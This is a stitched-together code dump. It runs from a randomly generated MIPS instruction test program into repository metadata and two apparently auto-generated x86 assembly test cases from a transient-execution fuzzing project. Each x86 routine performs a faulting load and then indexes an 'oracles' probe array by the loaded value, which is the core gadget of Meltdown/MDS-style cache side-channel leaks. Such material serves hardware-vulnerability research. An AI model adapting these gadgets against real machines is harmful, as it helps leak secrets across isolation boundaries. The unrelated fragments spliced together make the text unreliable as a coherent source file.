mult $2, $2 bgez $2, TAG588 TAG588: or $1, $2, $2 sb $1, 0($2) mthi $1 lui $2, 12 TAG589: xori $3, $2, 1 lui $1, 9 mtlo $2 bgez $3, TAG590 TAG590: sll $0, $0, 0 sll $0, $0, 0 andi $2, $3, 11 bgtz $1, TAG591 TAG591: mthi $2 bgtz $2, TAG592 multu $2, $2 mtlo $2 TAG592: bne $2, $2, TAG593 mfhi $1 mfhi $2 beq $2, $1, TAG593 TAG593: sh $2, 0($2) bgtz $2, TAG594 lui $4, 15 blez $4, TAG594 TAG594: sltiu $3, $4, 9 srlv $4, $3, $4 slt $3, $3, $4 lui $1, 12 TAG595: beq $1, $1, TAG596 mthi $1 lui $4, 3 bne $4, $4, TAG596 TAG596: sh $4, 0($4) mflo $1 sub $2, $1, $4 sllv $2, $4, $4 TAG597: sub $2, $2, $2 mtlo $2 bgtz $2, TAG598 addiu $3, $2, 14 TAG598: addiu $4, $3, 4 lb $3, 0($3) xori $1, $4, 9 bne $3, $1, TAG599 TAG599: lb $1, 0($1) multu $1, $1 mflo $1 mtlo $1 TAG600: beq $1, $1, TAG601 multu $1, $1 ori $3, $1, 5 lb $2, 0($3) TAG601: mfhi $1 lui $1, 7 mtlo $1 mtlo $2 TAG602: multu $1, $1 andi $2, $1, 8 sll $0, $0, 0 slti $4, $1, 7 TAG603: lw $1, 0($4) bne $4, $4, TAG604 mtlo $4 mtlo $4 TAG604: lui $3, 11 mfhi $1 mflo $4 addiu $1, $1, 3 TAG605: lui $2, 4 mtlo $1 lui $2, 7 slti $2, $1, 6 TAG606: lui $3, 8 mtlo $3 multu $2, $2 sll $0, $0, 0 TAG607: bne $3, $3, TAG608 lui $4, 13 beq $4, $4, TAG608 sll $0, $0, 0 TAG608: bne $4, $4, TAG609 mflo $3 lui $2, 8 mflo $3 TAG609: blez $3, TAG610 lw $3, 0($3) lui $4, 2 lui $4, 5 TAG610: beq $4, $4, TAG611 lui $3, 7 sh $4, 0($4) bgtz $3, TAG611 TAG611: mtlo $3 lui $1, 11 sll $0, $0, 0 mtlo $3 TAG612: lui $4, 12 lui $4, 4 sll $0, $0, 0 bgtz $4, TAG613 TAG613: slti $2, $4, 11 bgtz $4, TAG614 mtlo $2 divu $4, $4 TAG614: addu $4, $2, $2 mult $4, $2 bltz $4, TAG615 multu $2, $4 TAG615: bne $4, $4, TAG616 lhu $3, 0($4) multu $3, $3 bgtz $3, TAG616 TAG616: multu $3, $3 lui $3, 8 sll $0, $0, 0 mult $3, $2 TAG617: mult $2, $2 multu $2, $2 lhu $1, 0($2) lui $2, 0 TAG618: sb $2, 0($2) bgez $2, TAG619 xor $3, $2, $2 lh $1, 0($2) TAG619: lui $3, 5 lui $1, 10 subu $3, $1, $1 lui $3, 5 TAG620: beq $3, $3, TAG621 subu $1, $3, $3 mfhi $1 ori $4, $1, 12 TAG621: bgez $4, TAG622 ori $4, $4, 2 blez $4, TAG622 srlv $4, $4, $4 TAG622: mthi $4 mfhi $1 slt $3, $4, $4 bgtz $4, TAG623 TAG623: lhu $4, 0($3) beq $3, $4, TAG624 multu $3, $3 lbu $1, 0($4) TAG624: bltz $1, TAG625 lh $2, 0($1) mfhi $1 multu $2, $1 TAG625: mult $1, $1 lui $1, 4 divu $1, $1 bgtz $1, TAG626 TAG626: sll $2, $1, 13 sll $0, $0, 0 addiu $3, $2, 5 sll $0, $0, 0 TAG627: mfhi $3 addiu $1, $4, 13 lui $1, 3 sll $0, $0, 0 TAG628: sll $0, $0, 0 lui $4, 14 sll $0, $0, 0 addiu $4, $4, 4 TAG629: sll $0, $0, 0 beq $4, $4, TAG630 mflo $2 lui $4, 12 TAG630: srl $3, $4, 7 sll $0, $0, 0 sb $1, -7168($3) mtlo $1 TAG631: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG632: bgez $4, TAG633 sll $0, $0, 0 lhu $4, 0($4) subu $2, $4, $4 TAG633: sb $2, 0($2) mthi $2 sb $2, 0($2) lui $1, 1 TAG634: multu $1, $1 lui $3, 5 beq $3, $3, TAG635 xori $1, $3, 1 TAG635: sra $2, $1, 1 bne $2, $1, TAG636 lui $3, 6 sh $3, 0($3) TAG636: addu $1, $3, $3 sll $0, $0, 0 sll $0, $0, 0 mtlo $2 TAG637: mthi $2 sll $0, $0, 0 sra $1, $2, 8 mthi $1 TAG638: div $1, $1 multu $1, $1 lui $3, 15 mflo $1 TAG639: lui $4, 6 divu $1, $4 sltu $3, $1, $1 xor $4, $4, $3 TAG640: addu $1, $4, $4 bne $1, $4, TAG641 lui $2, 8 mfhi $3 TAG641: bgtz $3, TAG642 sllv $2, $3, $3 mflo $1 multu $2, $1 TAG642: lb $4, 0($1) mthi $1 bne $4, $4, TAG643 mfhi $4 TAG643: mthi $4 xori $2, $4, 3 lui $4, 0 blez $4, TAG644 TAG644: lui $2, 7 mult $4, $4 sll $0, $0, 0 sll $0, $0, 0 TAG645: beq $2, $2, TAG646 and $1, $2, $2 div $2, $2 lui $3, 15 TAG646: sra $1, $3, 11 addi $2, $1, 6 lhu $4, 0($3) mfhi $4 TAG647: mtlo $4 lui $2, 8 mult $4, $4 sll $0, $0, 0 TAG648: sw $3, 0($3) lh $3, 0($3) sb $3, 0($3) bltz $3, TAG649 TAG649: mult $3, $3 multu $3, $3 sw $3, 0($3) bne $3, $3, TAG650 TAG650: multu $3, $3 sb $3, 0($3) sb $3, 0($3) bgtz $3, TAG651 TAG651: mult $3, $3 bgtz $3, TAG652 srav $3, $3, $3 mtlo $3 TAG652: mtlo $3 lbu $3, 0($3) xori $2, $3, 5 lw $4, 0($3) TAG653: srl $3, $4, 0 bgtz $4, TAG654 mfhi $2 bne $4, $2, TAG654 TAG654: multu $2, $2 beq $2, $2, TAG655 sra $1, $2, 11 mthi $1 TAG655: sh $1, 0($1) sb $1, 0($1) mthi $1 lui $3, 0 TAG656: bne $3, $3, TAG657 lh $3, 0($3) mflo $3 mflo $3 TAG657: xor $3, $3, $3 bne $3, $3, TAG658 lb $3, 0($3) mtlo $3 TAG658: bne $3, $3, TAG659 srlv $2, $3, $3 addi $1, $3, 8 beq $3, $1, TAG659 TAG659: lw $4, 0($1) bgtz $1, TAG660 mfhi $1 sub $1, $1, $4 TAG660: sw $1, 0($1) beq $1, $1, TAG661 srav $1, $1, $1 and $1, $1, $1 TAG661: bne $1, $1, TAG662 xori $3, $1, 9 lui $3, 9 mfhi $4 TAG662: blez $4, TAG663 lui $3, 9 srav $2, $3, $4 slti $1, $4, 1 TAG663: add $1, $1, $1 bgtz $1, TAG664 xori $2, $1, 9 lbu $3, 0($1) TAG664: blez $3, TAG665 lhu $1, 0($3) addu $1, $3, $3 sll $3, $1, 13 TAG665: bgez $3, TAG666 mthi $3 lhu $3, 0($3) sb $3, 0($3) TAG666: ori $1, $3, 14 nor $1, $1, $1 lw $1, 15($1) mfhi $4 TAG667: sltiu $4, $4, 1 sll $2, $4, 5 blez $4, TAG668 lui $3, 15 TAG668: addiu $3, $3, 13 sll $0, $0, 0 bne $3, $3, TAG669 sll $0, $0, 0 TAG669: lui $1, 0 srl $1, $3, 5 bne $3, $1, TAG670 divu $1, $1 TAG670: lui $1, 9 mthi $1 sll $0, $0, 0 sll $0, $0, 0 TAG671: bltz $1, TAG672 lui $3, 9 bltz $1, TAG672 addiu $2, $1, 14 TAG672: sll $0, $0, 0 bgez $2, TAG673 divu $2, $2 beq $2, $2, TAG673 TAG673: xor $1, $2, $2 beq $1, $1, TAG674 addiu $1, $1, 14 mfhi $1 TAG674: addu $3, $1, $1 multu $1, $1 srav $4, $1, $1 mflo $3 TAG675: ori $3, $3, 6 div $3, $3 mflo $2 lb $3, 0($2) TAG676: andi $1, $3, 2 lb $3, 0($3) lui $4, 7 srl $4, $4, 1 TAG677: mthi $4 bltz $4, TAG678 lui $2, 4 mtlo $2 TAG678: mflo $4 bgtz $2, TAG679 lui $2, 12 lb $1, 0($4) TAG679: blez $1, TAG680 lui $4, 6 bltz $1, TAG680 lhu $2, 0($4) TAG680: mflo $1 mtlo $2 addiu $4, $2, 11 beq $1, $4, TAG681 TAG681: sll $0, $0, 0 beq $4, $4, TAG682 mfhi $1 lui $2, 7 TAG682: bgtz $2, TAG683 sll $0, $0, 0 lui $1, 2 mthi $1 TAG683: sll $0, $0, 0 beq $1, $1, TAG684 sra $3, $1, 2 bltz $1, TAG684 TAG684: addu $4, $3, $3 sll $0, $0, 0 divu $4, $3 mthi $3 TAG685: nor $4, $4, $4 bltz $4, TAG686 div $4, $4 mthi $4 TAG686: ori $4, $4, 2 lui $2, 7 addiu $3, $2, 4 and $3, $3, $3 TAG687: sll $0, $0, 0 bne $3, $3, TAG688 ori $4, $1, 4 lui $2, 1 TAG688: nor $4, $2, $2 divu $2, $4 sra $2, $2, 7 mfhi $2 TAG689: mthi $2 divu $2, $2 mult $2, $2 andi $2, $2, 10 TAG690: lui $2, 13 mthi $2 mult $2, $2 blez $2, TAG691 TAG691: sll $0, $0, 0 mtlo $2 divu $4, $4 mult $4, $4 TAG692: or $4, $4, $4 bgtz $4, TAG693 lui $4, 9 sll $0, $0, 0 TAG693: sll $0, $0, 0 lui $3, 5 divu $3, $3 sll $0, $0, 0 TAG694: divu $3, $3 addiu $4, $3, 4 blez $3, TAG695 sll $0, $0, 0 TAG695: sll $0, $0, 0 mthi $4 addu $4, $4, $4 subu $2, $4, $4 TAG696: mult $2, $2 mthi $2 bgtz $2, TAG697 mult $2, $2 TAG697: sw $2, 0($2) ori $3, $2, 8 multu $2, $2 lhu $1, 0($3) TAG698: mtlo $1 sw $1, -2312($1) bne $1, $1, TAG699 srl $1, $1, 13 TAG699: slt $4, $1, $1 lh $4, 0($1) ori $1, $4, 12 bgtz $4, TAG700 TAG700: sll $0, $0, 0 bgtz $1, TAG701 mflo $2 addiu $4, $1, 3 TAG701: sb $4, -2312($4) andi $3, $4, 4 slt $1, $3, $4 mtlo $4 TAG702: sb $1, 0($1) bltz $1, TAG703 divu $1, $1 sll $2, $1, 4 TAG703: mfhi $3 lb $4, 0($3) sb $4, 0($3) multu $2, $3 TAG704: lbu $3, 0($4) slti $1, $3, 13 sw $4, 0($3) addiu $1, $4, 7 TAG705: lbu $1, 0($1) sh $1, 0($1) lh $2, 0($1) multu $1, $1 TAG706: blez $2, TAG707 xor $4, $2, $2 lui $1, 15 slti $1, $1, 8 TAG707: lb $2, 0($1) addiu $4, $2, 14 addu $4, $2, $4 mtlo $2 TAG708: multu $4, $4 beq $4, $4, TAG709 mflo $2 mthi $2 TAG709: sh $2, -196($2) lbu $3, -196($2) mtlo $3 mthi $3 TAG710: sw $3, -196($3) sb $3, -196($3) nor $1, $3, $3 lui $2, 5 TAG711: lui $3, 1 and $4, $3, $3 mthi $2 lui $1, 2 TAG712: sltu $2, $1, $1 sw $1, 0($2) mtlo $2 nor $4, $1, $2 TAG713: bne $4, $4, TAG714 mthi $4 mult $4, $4 mtlo $4 TAG714: multu $4, $4 srl $3, $4, 3 mthi $4 beq $3, $4, TAG715 TAG715: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 nor $4, $3, $3 TAG716: sltiu $3, $4, 7 lui $4, 9 sltiu $3, $4, 4 srl $4, $3, 10 TAG717: bltz $4, TAG718 lb $3, 0($4) mflo $3 sll $0, $0, 0 TAG718: mtlo $2 lui $4, 10 mtlo $2 mfhi $4 TAG719: div $4, $4 bgez $4, TAG720 mult $4, $4 sllv $1, $4, $4 TAG720: nor $3, $1, $1 mflo $1 mult $1, $1 sll $0, $0, 0 TAG721: mthi $1 nor $1, $1, $1 lui $4, 4 nor $3, $1, $1 TAG722: bgez $3, TAG723 xor $3, $3, $3 blez $3, TAG723 lui $1, 6 TAG723: lui $1, 14 lui $4, 4 mult $1, $1 bgtz $1, TAG724 TAG724: sll $0, $0, 0 lui $3, 5 sll $0, $0, 0 srl $2, $4, 3 TAG725: sll $0, $0, 0 sll $0, $0, 0 nor $1, $2, $2 sra $2, $1, 13 TAG726: sw $2, 5($2) beq $2, $2, TAG727 lw $4, 5($2) sltiu $4, $2, 14 TAG727: sb $4, 5($4) lw $1, 5($4) lui $2, 4 mthi $2 TAG728: mflo $1 div $1, $2 sll $0, $0, 0 sb $1, 0($1) TAG729: lui $3, 12 lw $1, 0($1) div $1, $1 mthi $1 TAG730: lui $2, 10 sll $0, $0, 0 sll $0, $0, 0 beq $2, $3, TAG731 TAG731: mtlo $3 bne $3, $3, TAG732 sll $0, $0, 0 sll $0, $0, 0 TAG732: mult $3, $3 sll $0, $0, 0 lui $4, 5 sltu $3, $3, $3 TAG733: bne $3, $3, TAG734 sw $3, 0($3) mtlo $3 beq $3, $3, TAG734 TAG734: mfhi $2 lui $3, 5 lb $4, -144($2) mthi $3 TAG735: sw $4, 0($4) or $4, $4, $4 sltu $4, $4, $4 mflo $2 TAG736: slti $3, $2, 14 lbu $2, 0($3) sb $2, 0($2) mtlo $2 TAG737: lui $4, 4 bgez $4, TAG738 mthi $2 sh $4, 0($2) TAG738: mfhi $2 mfhi $1 lb $1, 0($2) bne $2, $1, TAG739 TAG739: mflo $1 lui $1, 3 beq $1, $1, TAG740 mthi $1 TAG740: lui $4, 4 beq $1, $4, TAG741 sll $0, $0, 0 sll $0, $0, 0 TAG741: multu $2, $2 bne $2, $2, TAG742 andi $3, $2, 14 lhu $2, 0($2) TAG742: mflo $1 lui $2, 3 srav $1, $2, $1 mult $2, $2 TAG743: bne $1, $1, TAG744 sll $4, $1, 8 subu $1, $1, $4 bgtz $1, TAG744 TAG744: lui $2, 10 bne $1, $2, TAG745 mfhi $4 mflo $4 TAG745: beq $4, $4, TAG746 andi $1, $4, 1 srl $3, $1, 3 bne $3, $4, TAG746 TAG746: lw $4, 0($3) bgez $4, TAG747 mult $4, $4 bgtz $3, TAG747 TAG747: lui $1, 10 sltiu $1, $4, 6 lui $2, 2 bgtz $4, TAG748 TAG748: sll $1, $2, 12 mtlo $2 mult $1, $2 bne $2, $2, TAG749 TAG749: sll $0, $0, 0 mthi $1 sll $0, $0, 0 mflo $1 TAG750: nop nop test_end: beq $0, $0, test_end nop
11.89607
21
0.545523
14b0005db63fd55ee583ca6a0166dadadc7779b9
6,505
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_3033.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_3033.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_3033.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xc49f, %r14 nop nop nop nop sub $34401, %rdi movw $0x6162, (%r14) nop sub %rdx, %rdx lea addresses_UC_ht+0x301f, %r14 cmp $52710, %r15 movups (%r14), %xmm2 vpextrq $0, %xmm2, %r8 nop nop nop nop dec %r11 lea addresses_WC_ht+0x831f, %r15 xor $39953, %r11 mov (%r15), %r14 nop nop xor $12201, %r15 lea addresses_A_ht+0x15db, %rdx nop inc %r11 movb (%rdx), %r15b nop nop xor $52725, %r15 lea addresses_WT_ht+0x1d11f, %r8 nop nop nop dec %r12 movb $0x61, (%r8) nop nop nop nop nop add $35403, %r8 lea addresses_UC_ht+0x1061f, %r12 nop nop nop nop cmp %rdx, %rdx mov (%r12), %r15d nop nop nop nop nop cmp %rdx, %rdx lea addresses_WC_ht+0x1a7ab, %rsi lea addresses_D_ht+0x13d71, %rdi and %r8, %r8 mov $74, %rcx rep movsl nop nop nop and $17060, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x1a1f, %r9 xor $33902, %rdi movl $0x51525354, (%r9) nop nop nop nop inc %rdi // Load lea addresses_WT+0x1d77f, %r9 sub $50207, %rcx mov (%r9), %rsi nop nop nop nop nop xor %rdx, %rdx // Store mov $0x6c213d000000071f, %r8 nop nop and %rdi, %rdi mov $0x5152535455565758, %rcx movq %rcx, %xmm7 movups %xmm7, (%r8) nop nop nop nop nop dec %rsi // Store lea addresses_PSE+0x1591f, %rcx nop nop nop nop nop sub $1348, %rdi movl $0x51525354, (%rcx) nop and $18283, %r8 // Faulty Load mov $0x78ba860000000b1f, %rcx add $60626, %rdi mov (%rcx), %r9w lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.353261
2,999
0.651806
680373f3977b3f8ed2d16c9332aef7a22e8ccde8
5,887
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x13d57, %rdx nop nop nop nop nop dec %r9 mov (%rdx), %cx nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x16557, %rsi lea addresses_WC_ht+0x14357, %rdi nop nop cmp %rbx, %rbx mov $115, %rcx rep movsb nop and $52101, %r9 lea addresses_D_ht+0x2db7, %rsi lea addresses_WC_ht+0x739b, %rdi nop nop nop nop add $31690, %r11 mov $112, %rcx rep movsw nop nop nop nop nop dec %r11 lea addresses_normal_ht+0x14fd7, %r11 clflush (%r11) sub %rbx, %rbx and $0xffffffffffffffc0, %r11 vmovntdqa (%r11), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rcx nop nop nop and %r11, %r11 lea addresses_normal_ht+0x1ae33, %rsi lea addresses_D_ht+0x537, %rdi nop nop nop and %r8, %r8 mov $15, %rcx rep movsb nop nop nop add $32341, %r8 lea addresses_WT_ht+0x1002f, %rsi lea addresses_UC_ht+0x10e3, %rdi nop xor %r11, %r11 mov $81, %rcx rep movsb nop nop nop nop nop cmp %r9, %r9 lea addresses_WC_ht+0xc260, %rsi lea addresses_WC_ht+0x17157, %rdi nop nop add %rdx, %rdx mov $103, %rcx rep movsq nop nop nop nop cmp %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rbp push %rdi push %rdx // Faulty Load lea addresses_D+0x1a557, %rdx clflush (%rdx) nop nop nop nop nop inc %rbp mov (%rdx), %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %rdi pop %rbp pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'src': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 